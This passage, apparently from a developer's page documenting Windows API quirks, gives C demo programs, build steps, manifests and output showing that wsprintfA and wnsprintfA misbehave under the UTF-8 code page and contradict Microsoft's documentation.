notation, the types td
alias Id
alias
ti
alias Ii
for signed pointers in decimal
notation, the types tu
alias Iu
for
unsigned pointers in decimal notation, the types I32d
(equivalent to d
and ld
) alias
I32i
(equivalent to i
and li
)
for signed 32-bit integers in decimal notation, the type
I32u
(equivalent to u
and lu
)
for unsigned 32-bit integers in decimal notation, the types
I32x
(equivalent to x
and lx
)
and I32X
(equivalent to X
and
lX
) for 32-bit integers in hexadecimal notation, the
types I64d
alias I64i
for signed 64-bit
integers in decimal notation, the type I64u
for
unsigned 64-bit integers in decimal notation, the types
I64x
and I64X
for 64-bit integers in
hexadecimal notation, the types wc
alias
wC
(both equivalent to lc
and
lC
) for widecharacters, the type
wS
(equivalent to ws
, ls
and
lS
) for widecharacter strings, the types
wd
(equivalent to d
and ld
)
alias wi
(equivalent to i
and
li
) for signed 32-bit integers in decimal notation, the
type wu
(equivalent to u
and
lu
) for unsigned 32-bit integers in decimal notation,
plus the types wx
(equivalent to x
and
lx
) and wX
(equivalent to X
and lX
) for 32-bit integers in hexadecimal notation!
Size Specification
Strings
x64: Starting Out in 64-Bit Windows Systems with Visual C++
Create the text file quirk37.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define memset __stosb
#define wmemset __stosw
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szWide[1024];
CHAR szANSI[1024];
CHAR szQuirk[1024];
UINT uiQuirk;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
wmemset(szWide, L'€', 1023);
szWide[1023] = L'\0';
memset(szANSI, '€', 1023);
szANSI[1023] = '\0';
SetLastError(123456789);
uiQuirk = wsprintfA(szQuirk, "%ls", szWide);
if (uiQuirk != 1023)
PrintConsole(hConsole,
L"wsprintfA() returned %u\n"
L"GetLastError() returned %lu\n",
uiQuirk, dwError = GetLastError());
else if (strcmp(szQuirk, szANSI) == 0)
PrintConsole(hConsole,
L"wsprintfA() returned a string of %u \'%hc\' characters\n",
uiQuirk, *szQuirk);
else
PrintConsole(hConsole,
L"wsprintfA() returned a differing string \'%hs\' of %u characters\n",
szQuirk, uiQuirk);
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk37.exe
from the
source file quirk37.c
created in step 1.:
SET CL=/GAF /Gs8192 /Gy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk37.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk37.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk37.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk37.exe quirk37.obj kernel32.lib user32.lib
Execute the console application quirk37.exe
built in
step 2. to demonstrate the legacy behaviour:
.\quirk37.exe
wsprintfA() returned the correct string of 1023 '€' characters
Create the text file quirk37.xml
with the following
content next to the console application quirk37.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk37' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk37 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk37.xml
created in step 4. in the console
application quirk37.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk37.xml /OUTPUTRESOURCE:quirk37.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk37.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour:
VER .\quirk37.exe
Microsoft Windows [Version 10.0.22621.1105]
wsprintfA() returned 0
GetLastError() returned 123456789
OUCH¹: contrary to the first highlighted
statement of the documentation cited above, existing code but
fails when the
ANSI
code page is configured for
UTF-8!
OUCH²: contrary to the last highlighted
statement of the documentation cited above, the
wsprintfA()
function fails to set the Win32 error code!
wsprintfA()
is documented in the
MSDN as
follows:
Writes formatted data to the specified buffer. Any arguments are converted and copied to the output buffer according to the corresponding format specification in the format string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.[…]
[…]int wsprintfA( LPSTR lpOut, LPCSTR lpFmt, ... );
If the function succeeds, the return value is the number of characters stored in the output buffer, not counting the terminating null character.
[…]
A format specification has the following form:
%[-][#][0][width][.precision]type
Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.
Field Meaning … … .precision […] For strings, copy the specified maximum number of characters to the output buffer.
Create the text file quirk38.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CP1252 L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
DWORD dwWide;
CHAR szANSI[4];
UINT uiANSI;
CHAR szQuirk[4];
UINT uiQuirk;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CP1252, sizeof(CP1252) / sizeof(*CP1252),
(LPSTR) NULL, 0,
(LPCCH) NULL, (LPBOOL) NULL) == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu\n",
dwError = GetLastError());
else
for (dwWide = 0; dwWide < sizeof(CP1252) / sizeof(*CP1252) - 1; dwWide++)
{
uiANSI = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CP1252 + dwWide, 1,
szANSI, sizeof(szANSI) - 1,
(LPCCH) NULL, (LPBOOL) NULL);
if (uiANSI == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for wide character U+%04hX\n",
dwError = GetLastError(), CP1252[dwWide]);
else
{
szANSI[uiANSI++] = '\0';
#if 0
uiQuirk = wsprintfA(szQuirk, "%lc", CP1252[dwWide]);
#else
uiQuirk = wsprintfA(szQuirk, "%.1ls", CP1252 + dwWide);
#endif
if (uiQuirk == 0)
PrintConsole(hConsole,
L"wsprintfA() returned error %lu for wide character \'%lc\' (U+%04hX)\n",
dwError = GetLastError(), CP1252[dwWide], CP1252[dwWide]);
else
{
if (uiQuirk > 1)
PrintConsole(hConsole,
L"wsprintfA() returned string \'%hs\' of %u characters for wide character \'%lc\' (U+%04hX)\n",
szQuirk, uiQuirk, CP1252[dwWide], CP1252[dwWide]);
if (memcmp(szQuirk, szANSI, uiANSI) != 0)
PrintConsole(hConsole,
L"wsprintfA() returned DIFFERENT string \'%hs\' of %u characters for wide character \'%lc\' (U+%04hX)\n",
szQuirk, uiQuirk, CP1252[dwWide], CP1252[dwWide]);
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk38.exe
from the
source file quirk38.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk38.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk38.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk38.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk38.exe quirk38.obj kernel32.lib user32.lib
Execute the console application quirk38.exe
built in
step 2. to demonstrate the legacy behaviour:
.\quirk38.exe
Create the text file quirk38.xml
with the following
content next to the console application quirk38.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk38' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk38 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk38.xml
created in step 4. in the console
application quirk38.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk38.xml /OUTPUTRESOURCE:quirk38.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk38.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour and prove the documentation cited
above wrong:
VER .\quirk38.exe
Microsoft Windows [Version 10.0.22621.1105] wsprintfA() returned string '€' of 3 characters for wide character '€' (U+20AC) wsprintfA() returned string '‚' of 3 characters for wide character '‚' (U+201A) wsprintfA() returned string 'ƒ' of 2 characters for wide character 'ƒ' (U+0192) wsprintfA() returned string '„' of 3 characters for wide character '„' (U+201E) wsprintfA() returned string '…' of 3 characters for wide character '…' (U+2026) wsprintfA() returned string '†' of 3 characters for wide character '†' (U+2020) wsprintfA() returned string '‡' of 3 characters for wide character '‡' (U+2021) wsprintfA() returned string 'ˆ' of 2 characters for wide character 'ˆ' (U+02C6) wsprintfA() returned string '‰' of 3 characters for wide character '‰' (U+2030) wsprintfA() returned string 'Š' of 2 characters for wide character 'Š' (U+0160) wsprintfA() returned string '‹' of 3 characters for wide character '‹' (U+2039) wsprintfA() returned string 'Œ' of 2 characters for wide character 'Œ' (U+0152) wsprintfA() returned string 'Ž' of 2 characters for wide character 'Ž' (U+017D) wsprintfA() returned string '‘' of 3 characters for wide character '‘' (U+2018) wsprintfA() returned string '’' of 3 characters for wide character '’' (U+2019) wsprintfA() returned string '“' of 3 characters for wide character '“' (U+201C) wsprintfA() returned string '”' of 3 characters for wide character '”' (U+201D) wsprintfA() returned string '•' of 3 characters for wide character '•' (U+2022) wsprintfA() returned string '–' of 3 characters for wide character '–' (U+2013) wsprintfA() returned string '—' of 3 characters for wide character '—' (U+2014) wsprintfA() returned string '˜' of 2 characters for wide character '˜' (U+02DC) wsprintfA() returned string '™' of 3 characters for wide character '™' (U+2122) wsprintfA() returned string 'š' of 2 characters for wide character 'š' (U+0161) wsprintfA() returned string '›' of 3 characters for wide character '›' (U+203A) wsprintfA() returned string 'œ' of 2 characters for wide character 'œ' (U+0153) wsprintfA() returned string 'ž' of 2 characters for wide character 'ž' (U+017E) wsprintfA() returned string 'Ÿ' of 2 characters for wide character 'Ÿ' (U+0178) wsprintfA() returned string ' ' of 2 characters for wide character ' ' (U+00A0) wsprintfA() returned string '¡' of 2 characters for wide character '¡' (U+00A1) wsprintfA() returned string '¢' of 2 characters for wide character '¢' (U+00A2) wsprintfA() returned string '£' of 2 characters for wide character '£' (U+00A3) wsprintfA() returned string '¤' of 2 characters for wide character '¤' (U+00A4) wsprintfA() returned string '¥' of 2 characters for wide character '¥' (U+00A5) wsprintfA() returned string '¦' of 2 characters for wide character '¦' (U+00A6) wsprintfA() returned string '§' of 2 characters for wide character '§' (U+00A7) wsprintfA() returned string '¨' of 2 characters for wide character '¨' (U+00A8) wsprintfA() returned string '©' of 2 characters for wide character '©' (U+00A9) wsprintfA() returned string 'ª' of 2 characters for wide character 'ª' (U+00AA) wsprintfA() returned string '«' of 2 characters for wide character '«' (U+00AB) wsprintfA() returned string '¬' of 2 characters for wide character '¬' (U+00AC) wsprintfA() returned string '' of 2 characters for wide character '' (U+00AD) wsprintfA() returned string '®' of 2 characters for wide character '®' (U+00AE) wsprintfA() returned string '¯' of 2 characters for wide character '¯' (U+00AF) wsprintfA() returned string '°' of 2 characters for wide character '°' (U+00B0) wsprintfA() returned string '±' of 2 characters for wide character '±' (U+00B1) wsprintfA() returned string '²' of 2 characters for wide character '²' (U+00B2) wsprintfA() returned string '³' of 2 characters for wide character '³' (U+00B3) wsprintfA() returned string '´' of 2 characters for wide character '´' (U+00B4) wsprintfA() returned string 'µ' of 2 characters for wide character 'µ' (U+00B5) wsprintfA() returned string '¶' of 2 characters for wide character '¶' (U+00B6) wsprintfA() returned string '·' of 2 characters for wide character '·' (U+00B7) wsprintfA() returned string '¸' of 2 characters for wide character '¸' (U+00B8) wsprintfA() returned string '¹' of 2 characters for wide character '¹' (U+00B9) wsprintfA() returned string 'º' of 2 characters for wide character 'º' (U+00BA) wsprintfA() returned string '»' of 2 characters for wide character '»' (U+00BB) wsprintfA() returned string '¼' of 2 characters for wide character '¼' (U+00BC) wsprintfA() returned string '½' of 2 characters for wide character '½' (U+00BD) wsprintfA() returned string '¾' of 2 characters for wide character '¾' (U+00BE) wsprintfA() returned string '¿' of 2 characters for wide character '¿' (U+00BF) wsprintfA() returned string 'À' of 2 characters for wide character 'À' (U+00C0) wsprintfA() returned string 'Á' of 2 characters for wide character 'Á' (U+00C1) wsprintfA() returned string 'Â' of 2 characters for wide character 'Â' (U+00C2) wsprintfA() returned string 'Ã' of 2 characters for wide character 'Ã' (U+00C3) wsprintfA() returned string 'Ä' of 2 characters for wide character 'Ä' (U+00C4) wsprintfA() returned string 'Å' of 2 characters for wide character 'Å' (U+00C5) wsprintfA() returned string 'Æ' of 2 characters for wide character 'Æ' (U+00C6) wsprintfA() returned string 'Ç' of 2 characters for wide character 'Ç' (U+00C7) wsprintfA() returned string 'È' of 2 characters for wide character 'È' (U+00C8) wsprintfA() returned string 'É' of 2 characters for wide character 'É' (U+00C9) wsprintfA() returned string 'Ê' of 2 characters for wide character 'Ê' (U+00CA) wsprintfA() returned string 'Ë' of 2 characters for wide character 'Ë' (U+00CB) wsprintfA() returned string 'Ì' of 2 characters for wide character 'Ì' (U+00CC) wsprintfA() returned string 'Í' of 2 characters for wide character 'Í' (U+00CD) wsprintfA() returned string 'Î' of 2 characters for wide character 'Î' (U+00CE) wsprintfA() returned string 'Ï' of 2 characters for wide character 'Ï' (U+00CF) wsprintfA() returned string 'Ð' of 2 characters for wide character 'Ð' (U+00D0) wsprintfA() returned string 'Ñ' of 2 characters for wide character 'Ñ' (U+00D1) wsprintfA() returned string 'Ò' of 2 characters for wide character 'Ò' (U+00D2) wsprintfA() returned string 'Ó' of 2 characters for wide character 'Ó' (U+00D3) wsprintfA() returned string 'Ô' of 2 characters for wide character 'Ô' (U+00D4) wsprintfA() returned string 'Õ' of 2 characters for wide character 'Õ' (U+00D5) wsprintfA() returned string 'Ö' of 2 characters for wide character 'Ö' (U+00D6) wsprintfA() returned string '×' of 2 characters for wide character '×' (U+00D7) wsprintfA() returned string 'Ø' of 2 characters for wide character 'Ø' (U+00D8) wsprintfA() returned string 'Ù' of 2 characters for wide character 'Ù' (U+00D9) wsprintfA() returned string 'Ú' of 2 characters for wide character 'Ú' (U+00DA) wsprintfA() returned string 'Û' of 2 characters for wide character 'Û' (U+00DB) wsprintfA() returned string 'Ü' of 2 characters for wide character 'Ü' (U+00DC) wsprintfA() returned string 'Ý' of 2 characters for wide character 'Ý' (U+00DD) wsprintfA() returned string 'Þ' of 2 characters for wide character 'Þ' (U+00DE) wsprintfA() returned string 'ß' of 2 characters for wide character 'ß' (U+00DF) wsprintfA() returned string 'à' of 2 characters for wide character 'à' (U+00E0) wsprintfA() returned string 'á' of 2 characters for wide character 'á' (U+00E1) wsprintfA() returned string 'â' of 2 characters for wide character 'â' (U+00E2) wsprintfA() returned string 'ã' of 2 characters for wide character 'ã' (U+00E3) wsprintfA() returned string 'ä' of 2 characters for wide character 'ä' (U+00E4) wsprintfA() returned string 'å' of 2 characters for wide character 'å' (U+00E5) wsprintfA() returned string 'æ' of 2 characters for wide character 'æ' (U+00E6) wsprintfA() returned string 'ç' of 2 characters for wide character 'ç' (U+00E7) wsprintfA() returned string 'è' of 2 characters for wide character 'è' (U+00E8) wsprintfA() returned string 'é' of 2 characters for wide character 'é' (U+00E9) wsprintfA() returned string 'ê' of 2 characters for wide character 'ê' (U+00EA) wsprintfA() returned string 'ë' of 2 characters for wide character 'ë' (U+00EB) wsprintfA() returned string 'ì' of 2 characters for wide character 'ì' (U+00EC) wsprintfA() returned string 'í' of 2 characters for wide character 'í' (U+00ED) wsprintfA() returned string 'î' of 2 characters for wide character 'î' (U+00EE) wsprintfA() returned string 'ï' of 2 characters for wide character 'ï' (U+00EF) wsprintfA() returned string 'ð' of 2 characters for wide character 'ð' (U+00F0) wsprintfA() returned string 'ñ' of 2 characters for wide character 'ñ' (U+00F1) wsprintfA() returned string 'ò' of 2 characters for wide character 'ò' (U+00F2) wsprintfA() returned string 'ó' of 2 characters for wide character 'ó' (U+00F3) wsprintfA() returned string 'ô' of 2 characters for wide character 'ô' (U+00F4) wsprintfA() returned string 'õ' of 2 characters for wide character 'õ' (U+00F5) wsprintfA() returned string 'ö' of 2 characters for wide character 'ö' (U+00F6) wsprintfA() returned string '÷' of 2 characters for wide character '÷' (U+00F7) wsprintfA() returned string 'ø' of 2 characters for wide character 'ø' (U+00F8) wsprintfA() returned string 'ù' of 2 characters for wide character 'ù' (U+00F9) wsprintfA() returned string 'ú' of 2 characters for wide character 'ú' (U+00FA) wsprintfA() returned string 'û' of 2 characters for wide character 'û' (U+00FB) wsprintfA() returned string 'ü' of 2 characters for wide character 'ü' (U+00FC) wsprintfA() returned string 'ý' of 2 characters for wide character 'ý' (U+00FD) wsprintfA() returned string 'þ' of 2 characters for wide character 'þ' (U+00FE) wsprintfA() returned string 'ÿ' of 2 characters for wide character 'ÿ' (U+00FF)OOPS: for each of the 123 wide characters from the string
CP1252
, the
wsprintfA()
function returns a character count greater 1, i.e. the documentation
cited above confuses character alias code point and
byte alias code unit!
wnsprintfA()
is documented in the
MSDN as
follows:
Takes a variable-length argument list and returns the values of the arguments as a printf-style formatted string.[…]
[…]int wnsprintfA( LPSTR pszDest, int cchDest, LPCSTR pszFmt, ... );
Returns the number of characters written to the buffer, excluding any terminating NULL characters. A negative value is returned if an error occurs.
[…]
This is a Windows version of sprintf. It does not support floating-point or pointer types. It supports only the left alignment flag.
Takes a list of arguments and returns the values of the arguments as a printf-style formatted string.The MSDN article Format Specification Syntax:[…]
int wnsprintfA( LPSTR pszDest, int cchDest, LPCSTR pszFmt, va_list arglist );
printf
and wprintf
Functions
specifies:
A conversion specification consists of optional and required fields in this form:Flag Directives printf Width Specification Precision Specification Size Specification printf Type Field Characters%[flags][width][.precision][size]type
[…]
The
type
character determines either the interpretation ofprecision
or the default precision whenprecision
is omitted, as shown in the following table.
Type Meaning Default … … s
,S
The precision specifies the maximum number of characters to be printed. Characters in excess of precision are not printed. Characters are printed until a null character is encountered.
Create the text file quirk39.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shlwapi.h>
#define CP1252 L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
INT niANSI;
CHAR szANSI[57];
DWORD dwWide;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
niANSI = wnsprintfA(szANSI, sizeof(szANSI),
"%+09d|% i|%#p|%-*.*ws|%#x",
GetACP(), GetOEMCP(), wmainCRTStartup, 7, 5, CP1252, 0xDEADBEEF);
if (niANSI < 0)
PrintConsole(hConsole,
L"wnsprintfA() returned %i\n",
niANSI);
else
PrintConsole(hConsole,
L"wnsprintfA() returned string \'%hs\' of %i characters\n",
szANSI, niANSI);
for (dwWide = 0; dwWide < sizeof(CP1252) / sizeof(*CP1252) - 1; dwWide++)
{
#if 0
niANSI = wnsprintfA(szANSI, sizeof(szANSI), "%lc", CP1252[dwWide]);
#else
niANSI = wnsprintfA(szANSI, sizeof(szANSI), "%.1ls", CP1252 + dwWide);
#endif
if (niANSI < 0)
PrintConsole(hConsole,
L"wnsprintfA() returned %i for wide character \'%lc\' (U+%04hX)\n",
CP1252[dwWide], CP1252[dwWide]);
else if (niANSI != 1)
PrintConsole(hConsole,
L"wnsprintfA() returned string \'%hs\' of %i characters for wide character \'%lc\' (U+%04hX)\n",
szANSI, niANSI, CP1252[dwWide], CP1252[dwWide]);
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk39.exe
from the
source file quirk39.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk39.c kernel32.lib shlwapi.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk39.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk39.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk39.exe quirk39.obj kernel32.lib shlwapi.lib user32.lib
Execute the console application quirk39.exe
built in
step 2. to demonstrate the legacy behaviour:
.\quirk39.exe
wnsprintfA() returned string '+00001252| 850|0X0111104E|€‚ƒ„… |0xdeadbeef' of 44 charactersOOPS¹: contrary to the second 2 highlighted statements of the documentation cited above, the
wnsprintfA()
function but supports the pointer type p
as well as the
flags +
, 0
,
(blank)
and #
!
Create the text file quirk39.xml
with the following
content next to the console application quirk39.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk39' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk39 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk39.xml
created in step 4. in the console
application quirk39.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk39.xml /OUTPUTRESOURCE:quirk39.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk39.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour and prove the documentation cited
above wrong:
VER .\quirk39.exe
Microsoft Windows [Version 10.0.22621.1105] wnsprintfA() returned string '+00065001| 65001|0X0017104E|€‚ƒ„… |0xdeadbeef' of 55 characters wnsprintfA() returned string '€' of 3 characters for wide character '€' (U+20AC) wnsprintfA() returned string '‚' of 3 characters for wide character '‚' (U+201A) wnsprintfA() returned string 'ƒ' of 2 characters for wide character 'ƒ' (U+0192) wnsprintfA() returned string '„' of 3 characters for wide character '„' (U+201E) wnsprintfA() returned string '…' of 3 characters for wide character '…' (U+2026) wnsprintfA() returned string '†' of 3 characters for wide character '†' (U+2020) wnsprintfA() returned string '‡' of 3 characters for wide character '‡' (U+2021) wnsprintfA() returned string 'ˆ' of 2 characters for wide character 'ˆ' (U+02C6) wnsprintfA() returned string '‰' of 3 characters for wide character '‰' (U+2030) wnsprintfA() returned string 'Š' of 2 characters for wide character 'Š' (U+0160) wnsprintfA() returned string '‹' of 3 characters for wide character '‹' (U+2039) wnsprintfA() returned string 'Œ' of 2 characters for wide character 'Œ' (U+0152) wnsprintfA() returned string 'Ž' of 2 characters for wide character 'Ž' (U+017D) wnsprintfA() returned string '‘' of 3 characters for wide character '‘' (U+2018) wnsprintfA() returned string '’' of 3 characters for wide character '’' (U+2019) wnsprintfA() returned string '“' of 3 characters for wide character '“' (U+201C) wnsprintfA() returned string '”' of 3 characters for wide character '”' (U+201D) wnsprintfA() returned string '•' of 3 characters for wide character '•' (U+2022) wnsprintfA() returned string '–' of 3 characters for wide character '–' (U+2013) wnsprintfA() returned string '—' of 3 characters for wide character '—' (U+2014) wnsprintfA() returned string '˜' of 2 characters for wide character '˜' (U+02DC) wnsprintfA() returned string '™' of 3 characters for wide character '™' (U+2122) wnsprintfA() returned string 'š' of 2 characters for wide character 'š' (U+0161) wnsprintfA() returned string '›' of 3 characters for wide character '›' (U+203A) wnsprintfA() returned string 'œ' of 2 characters for wide character 'œ' (U+0153) wnsprintfA() returned string 'ž' of 2 characters for wide character 'ž' (U+017E) wnsprintfA() returned string 'Ÿ' of 2 characters for wide character 'Ÿ' (U+0178) wnsprintfA() returned string ' ' of 2 characters for wide character ' ' (U+00A0) wnsprintfA() returned string '¡' of 2 characters 